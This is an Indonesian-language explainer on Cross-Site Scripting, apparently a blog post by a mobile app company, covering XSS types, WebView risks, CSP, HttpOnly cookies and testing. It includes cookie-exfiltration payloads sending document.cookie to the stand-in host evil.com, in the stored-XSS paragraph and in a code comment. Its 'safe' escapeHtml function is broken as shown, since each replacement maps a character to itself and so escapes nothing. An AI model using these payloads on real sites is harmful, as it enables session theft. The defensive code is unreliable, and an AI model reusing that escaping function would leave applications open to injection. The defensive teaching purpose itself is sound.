XSS (Cross-Site Scripting) — jenis kerentanan aplikasi web di mana penyerang menyuntikkan kode JavaScript berbahaya ke dalam konten yang ditampilkan kepada pengguna lain. Menurut data OWASP Top Ten (2025), XSS tetap menjadi salah satu kerentanan paling umum, mempengaruhi lebih dari 60% aplikasi web. Cross-site scripting memungkinkan pencurian cookie sesi, mengarahkan pengguna ke situs phishing, dan memodifikasi konten halaman secara real-time.
Poin utama
XSS (Cross-Site Scripting) — adalah kerentanan yang memungkinkan penyerang menyuntikkan kode JavaScript ke halaman web, yang kemudian dieksekusi di browser korban. Browser memuat halaman dari situs tepercaya dan mengeksekusi skrip yang disuntikkan dengan hak yang sama dengan kode sah situs tersebut. Ini memberikan penyerang akses ke cookie, session storage, pohon DOM halaman, dan kemampuan untuk mengirim permintaan atas nama korban. Kerentanan XSS muncul ketika aplikasi memasukkan data pengguna ke halaman HTML tanpa escaping yang tepat atau validasi.
Istilah Cross-Site Scripting pertama kali muncul pada tahun 2000 di Microsoft Security Bulletin. Selama 25 tahun terakhir, XSS tidak kehilangan relevansinya: menurut data HackerOne (2025), XSS mencakup sekitar 22% dari semua kerentanan yang terdaftar di platform. Alasan ketahanan XSS adalah kompleksitas kontrol semua titik masuk data pengguna. Setiap bidang input, parameter URL, header permintaan HTTP, atau nama file dapat menjadi vektor serangan jika data dipantulkan dalam kode HTML tanpa pemrosesan.
Serangan XSS dapat menyebabkan pencurian cookie sesi, memungkinkan penyerang masuk ke akun korban tanpa kata sandi. Konsekuensi lainnya: pengalihan ke situs phishing, penggantian konten halaman, pencurian data pribadi, pemasangan perangkat lunak berbahaya (drive-by download). Pada tahun 2023, serangan XSS pada platform Salesforce Community Cloud mempengaruhi data ribuan klien korporat, menunjukkan bahwa bahkan platform besar pun tidak kebal terhadap kerentanan ini.
Klasifikasi XSS membagi serangan menjadi tiga jenis utama berdasarkan cara pengiriman kode berbahaya. Setiap jenis memerlukan pendekatan perlindungan yang berbeda: Stored XSS diblokir dengan escaping keluaran dari database, Reflected — dengan escaping parameter URL, DOM-based — dengan bekerja aman dengan DOM-API. Memahami perbedaan adalah dasar strategi keamanan yang efektif.
| Jenis | Penyimpanan skrip | Vektor pengiriman | Kesulitan deteksi |
|---|---|---|---|
| Stored XSS | Database server | Komentar, profil, pesan | Sedang |
| Reflected XSS | Parameter URL | Tautan phishing, email | Tinggi |
| DOM-based XSS | JavaScript klien | Fragmen URL, postMessage | Sangat tinggi |
Jenis XSS paling berbahaya. Penyerang menyuntikkan skrip ke dalam data yang disimpan server di database dan ditampilkan setiap kali halaman dimuat. Vektor tipikal — bidang komentar: penyerang mempublikasikan komentar dengan <script>document.location='https://evil.com/?c='+document.cookie</script>. Setiap pengguna yang memuat halaman dengan komentar ini mengirimkan cookie mereka ke penyerang. Stored XSS tidak memerlukan tindakan apa pun dari korban selain mengunjungi halaman — ini membuatnya sangat berbahaya untuk jejaring sosial, forum, dan blog.
Skrip berbahaya dikirim dalam permintaan HTTP (biasanya dalam parameter URL) dan segera dipantulkan oleh server dalam respons. Penyerang membuat tautan berbentuk https://example.com/search?q=<script>...</script> dan menyebarkannya melalui phishing, jejaring sosial, atau email. Korban, dengan mengklik tautan, menerima halaman di mana kueri penelusuran yang dimasukkan (skrip) ditampilkan tanpa escaping. Reflected XSS memerlukan rekayasa sosial — korban harus mengklik tautan, yang mengurangi tetapi tidak menghilangkan risiko.
Tidak seperti Stored dan Reflected, DOM-based XSS tidak memerlukan pengiriman data ke server. Kerentanan muncul ketika JavaScript klien memasukkan data pengguna dari URL, document.referrer, postMessage atau localStorage ke DOM tanpa pemrosesan yang aman. Misalnya, kode berbentuk document.getElementById('output').innerHTML = location.hash.substring(1) mengeksekusi HTML dan skrip apa pun dari fragmen URL (#<img onerror='...'>). DOM-based XSS adalah yang paling sulit dideteksi karena server tidak pernah menerima payload berbahaya — payload diproses sepenuhnya di klien.
// Contoh DOM-based XSS (KODE RENTAN)
// Jika userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — berbahaya: memasukkan HTML mentah
document.write('<div>' + userInput + '</div>');
// ALTERNATIF AMAN — gunakan textContent
document.getElementById('output').textContent = userInput;
Serangan XSS mengeksploitasi properti fundamental web: browser mengeksekusi JavaScript yang diterima dari domain tepercaya. Jika penyerang menemukan cara untuk menyuntikkan kodenya ke dalam respons HTML server, browser mengeksekusinya dengan hak istimewa yang sama dengan kode yang sah. Serangan melewati tiga fase: injeksi kode berbahaya ke dalam konten, pengiriman konten ke browser korban, dan eksekusi kode dengan akses ke DOM, cookie, dan storage.
Penyerang menemukan titik masuk — bidang, parameter URL, atau header yang nilainya disertakan server dalam respons HTML tanpa escaping. Titik masuk tipikal: bidang pencarian, bidang komentar, nama pengguna, URL avatar, file cookie, header HTTP (User-Agent, Referer). Framework modern (React, Angular, Vue) secara otomatis melakukan escaping keluaran, tetapi pengembang dapat menonaktifkan escaping melalui dangerouslySetInnerHTML, bypassSecurityTrustHtml, atau v-html.
Untuk Reflected XSS, penyerang menyebarkan tautan berbahaya. Untuk Stored XSS, cukup mempublikasikan konten di situs target, dan setiap pengunjung halaman menjadi korban. DOM-based XSS aktif saat memuat halaman dengan fragmen URL tertentu. Ketiga fase dapat dijalankan secara otomatis: jika XSS ditemukan di banner iklan (konten pihak ketiga), serangan akan mempengaruhi semua pengguna situs hingga banner dinonaktifkan.
// Contoh Reflected XSS di pencarian (BACKEND RENTAN)
// Alih-alih melakukan escaping parameter q, server memasukkannya ke HTML
// Express.js — handler rentan:
app.get('/search', (req, res) => {
const query = req.query.q; // input pengguna
res.send(`<h1>Results for: ${query}</h1>`);
});
// VERSI AMAN — escaping melalui encodeURI atau mesin template:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Aplikasi mobile juga rentan terhadap serangan XSS, meskipun pada tingkat yang lebih rendah daripada situs web. Vektor utamanya adalah WebView dan framework hibrida (Cordova, Capacitor, React Native dengan WebView). Jika aplikasi memuat konten web di WebView — terutama konten pengguna (email HTML, artikel, pesan) — kerentanan XSS dapat menyebabkan eksekusi JavaScript di dalam aplikasi dengan akses ke fungsi native melalui jembatan JavaScript.
Android WebView secara default mengeksekusi JavaScript. Jika aplikasi memuat string HTML melalui loadDataWithBaseURL() atau menampilkan konten pengguna, serangan XSS dapat memberikan penyerang akses ke antarmuka JavaScript (addJavascriptInterface). Google telah melarang penggunaan @JavascriptInterface untuk API < 17, tetapi kode legacy di aplikasi lama masih ditemukan. Perlindungan: nonaktifkan JavaScript di WebView jika tidak diperlukan dan gunakan penjelajahan aman.
React Native tidak menggunakan WebView untuk UI — komponen dirender dalam tampilan native. Namun saat menampilkan HTML melalui react-native-webview atau komponen rich-text, risiko XSS kembali. Flutter menggunakan mesin rendering miliknya sendiri (Skia) dan tidak mendukung JavaScript di widget HTML (flutter_html tidak mengeksekusi tag script), tetapi plugin WebView (webview_flutter) rentan seperti WebView native. Praktik terbaik — jangan pernah mengirimkan HTML yang belum diverifikasi ke WebView.
// Konfigurasi aman WebView di Android
val webView = findViewById<WebView>(R.id.webview)
// Menonaktifkan JavaScript jika interaktivitas tidak diperlukan
webView.settings.javaScriptEnabled = false
// Sanitasi HTML sebelum memuat
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Perlindungan terhadap XSS didasarkan pada tiga prinsip: jangan percaya input pengguna, escape sebelum keluaran, gunakan Content Security Policy. Escaping keluaran (output encoding) — metode paling penting: semua data yang diterima dari pengguna harus di-escape sebelum dimasukkan ke HTML, JavaScript, CSS, atau URL. Mesin template modern (Twig, Handlebars, JSX, Blade) melakukannya secara otomatis, jika pengembang tidak menonaktifkan escaping dengan metode khusus.
Escaping tergantung pada konteks penyisipan data. Dalam konteks HTML, <, >, &, tanda kutip di-escape. Dalam konteks JavaScript, backtick,
, </script> di-escape. Dalam konteks CSS — karakter kontrol. Dalam konteks URL — pengkodean URL. Kesalahan konteks — misalnya, memasukkan string yang di-escape HTML ke atribut onclick — tidak melindungi dari XSS, karena onclick dieksekusi dalam konteks JavaScript, di mana escaping yang berbeda diperlukan.
CSP — header HTTP yang membatasi sumber dari mana browser dapat memuat skrip, gaya, dan sumber daya lainnya. CSP ketat (tanpa unsafe-inline, tanpa unsafe-eval) memblokir eksekusi semua skrip inline, termasuk vektor XSS. Menurut Google Security Blog (2025), situs dengan CSP memblokir 95% serangan XSS. Contoh: Content-Security-Policy: default-src 'self'; script-src 'self' melarang semua skrip eksternal dan inline. CSP tidak melindungi dari Stored XSS jika skrip dimuat dari domain yang sama, tetapi ini memerlukan upaya tambahan dari penyerang.
Mengatur bendera HttpOnly untuk cookie mencegah akses melalui JavaScript (document.cookie), yang memblokir pencurian cookie sesi melalui XSS. Bendera Secure menjamin bahwa cookie hanya dikirim melalui HTTPS. Kombinasi HttpOnly + Secure + SameSite=Lax membuat pencurian cookie sesi melalui XSS praktis tidak mungkin. Namun, XSS masih dapat melakukan tindakan atas nama pengguna (misalnya, mengirim permintaan), jadi HttpOnly bukan obat mujarab, melainkan bagian dari perlindungan komprehensif.
| Metode perlindungan | Melindungi dari jenis XSS apa | Efektivitas |
|---|---|---|
| Escaping keluaran | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| Cookie HttpOnly | Pencurian sesi melalui XSS | 100% (tidak dapat dibaca) |
| Validasi input | Stored, Reflected | 50% (tergantung jenis) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Pengujian rutin untuk XSS — bagian wajib dari pipeline CI/CD pengembangan yang aman. Pemindai otomatis menemukan hingga 80% kerentanan XSS, sisanya memerlukan pentest manual. Pendekatan terbaik adalah kombinasi analisis SAST (statis), pemindaian DAST (dinamis), dan tinjauan kode dengan fokus pada titik masuk data pengguna.
Untuk aplikasi mobile, pengujian XSS mencakup analisis WebView: pemeriksaan antarmuka JavaScript, pemrosesan skema URL, dan pengiriman HTML ke loadDataWithBaseURL. Juga disarankan untuk menguji pemrosesan postMessage di aplikasi hibrida dan memeriksa data apa yang dikirim melalui jembatan JavaScript. Gunakan emulator dengan proxy (Burp Suite) untuk mencegat dan memodifikasi traffic aplikasi mobile.
Pertanyaan yang sering diajukan
Stored XSS menyimpan skrip berbahaya di server (di database) dan aktif setiap kali halaman dimuat. Reflected XSS mengirimkan skrip melalui parameter URL, dan serangan hanya aktif saat mengklik tautan berbahaya. Stored lebih berbahaya karena tidak memerlukan tindakan korban — cukup membuka halaman yang terinfeksi.
Tidak, HTTPS tidak melindungi dari XSS. HTTPS mengenkripsi traffic antara browser dan server, tetapi tidak mempengaruhi pemrosesan input pengguna di sisi server. Kerentanan XSS ada di tingkat aplikasi, bukan transportasi. HTTPS adalah minimum keamanan wajib, tetapi bukan perlindungan terhadap XSS.
Dalam kebanyakan kasus, XSS dieksekusi di sandbox browser atau WebView dan tidak memiliki akses ke sistem file atau perangkat keras perangkat. Namun, di Android WebView dengan antarmuka JavaScript diaktifkan, skrip XSS dapat memanggil metode native aplikasi. Di iOS WKWebView juga dapat mengungkapkan data melalui JavaScriptCore, jika jembatan yang sesuai dikonfigurasi.
Gunakan Burp Suite atau OWASP ZAP dengan proxy yang dikonfigurasi di perangkat mobile. Intersep permintaan aplikasi, modifikasi parameter, dan kirim payload XSS. Periksa WebView untuk pemrosesan HTML melalui loadDataWithBaseURL dan keberadaan jembatan JavaScript. Untuk React Native, uji komponen WebView secara terpisah.
DOM-based XSS — adalah serangan di mana JavaScript di halaman mengambil sendiri data dari URL atau sumber lain dan memasukkannya ke HTML tanpa pemeriksaan. Server tidak berpartisipasi — kode berbahaya diproses sepenuhnya di browser. Contoh tipikal: situs mengambil teks dari location.hash dan memasukkannya melalui innerHTML, yang memungkinkan eksekusi kode HTML apa pun.
Ringkasan
Kami akan mengembangkan aplikasi seluler turnkey
IT Sectr membuat aplikasi iOS dan Android untuk startup dan bisnis sejak 2017. Kami akan memberi saran dan mengusulkan solusi terbaik.
Baca juga